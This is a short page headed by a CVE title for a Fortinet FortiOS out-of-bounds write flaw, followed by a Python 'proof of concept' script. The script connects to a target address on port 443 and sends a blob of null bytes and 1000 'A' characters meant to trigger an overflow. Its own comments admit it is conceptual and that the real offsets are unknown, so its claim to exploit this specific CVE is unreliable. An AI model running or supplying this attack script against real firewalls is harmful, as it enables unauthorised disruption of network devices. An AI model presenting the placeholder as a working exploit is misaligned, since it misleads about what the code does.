CVE-2025-53844 Fortinet FortiOS越界写入漏洞

import socket import struct # Target configuration TARGET_IP = "192.168.1.1" TARGET_PORT = 443 # Example port, actual vulnerable port may vary def create_malformed_packet(): # Construct a payload that triggers the out-of-bounds write # NOTE: This is a conceptual PoC. Actual offset/bytes need reverse engineering. header = b"\x00" * 20 # Overflow trigger payload = b"A" * 1000 return header + payload def send_exploit(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) packet = create_malformed_packet() s.send(packet) print("[+] Malformed packet sent to target.") # Check for response or keep connection open response = s.recv(1024) print(f"[+] Received response: {response}") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()